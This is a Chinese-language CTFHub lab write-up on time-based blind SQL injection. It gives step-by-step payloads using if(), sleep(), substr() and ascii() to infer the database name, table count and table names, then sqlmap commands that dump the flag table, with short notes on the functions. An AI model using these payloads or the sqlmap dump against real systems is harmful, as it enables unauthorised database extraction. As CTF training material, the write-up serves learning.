40,【5】CTFHUB WEB SQL 时间盲注

进入靶场

输入1

猜测其名称长度,为4时页面卡顿,确定长度

1 and if(length(database())=4,sleep(3),1)

根据之前几道题的经验,应该是sqli

1 and if(ascii(substr(database(),1,1))=115,sleep(3),1)

1 and if(ascii(substr(database(),2,1))=113,sleep(3),1)

1 and if(ascii(substr(database(),3,1))=108,sleep(3),1)

1 and if(ascii(substr(database(),4,1))=105,sleep(3),1)

确定为sqli

1 and if((select count(table_name) from information_schema.tables

where table_schema=database())=2,sleep(3),1)

确定表有2个,使用以下语句判断表名

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(3),1)

假设我已经判断出new和flag了

继续用如上方法判断字段数,字段名,一个一个判断flag里面的元素

工作量太大了,上sqlmap

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 --dbs

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli --tables

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag --columns

sqlmap -u CTFHub 技能学习 | 时间盲注/?id=1 -D sqli -T flag -C flag --dump

笔记

1.时间盲注最重要的工具就是sleep(),括号里面的数字就是页面加载需要的时间

2,if(A,B,C)

这是if语句,A语句正确时运行B,A语句错误时运行C

3,

substr(string, start, length)

string:要截取的源字符串。

start:开始截取的位置。如果 start 为正数,从字符串的左边开始计数;如果为负数,从字符串的右边开始计数。

length:要截取的字符长度。

相关推荐
NineData12 小时前
NineData智能数据管理平台新功能发布|2026年1-2月
数据库·sql·数据分析
IvorySQL13 小时前
双星闪耀温哥华:IvorySQL 社区两项议题入选 PGConf.dev 2026
数据库·postgresql·开源
ma_king16 小时前
入门 java 和 数据库
java·数据库·后端
jiayou6419 小时前
KingbaseES 实战:审计追踪配置与运维实践
数据库
NineData1 天前
NineData 迁移评估功能正式上线
数据库·dba
NineData2 天前
数据库迁移总踩坑?用 NineData 迁移评估,提前识别所有兼容性风险
数据库·程序员·云计算
赵渝强老师2 天前
【赵渝强老师】PostgreSQL中表的碎片
数据库·postgresql
全栈老石2 天前
拆解低代码引擎核心:元数据驱动的"万能表"架构
数据库·低代码
倔强的石头_3 天前
kingbase备份与恢复实战(二)—— sys_dump库级逻辑备份与恢复(Windows详细步骤)
数据库
jiayou644 天前
KingbaseES 实战:深度解析数据库对象访问权限管理
数据库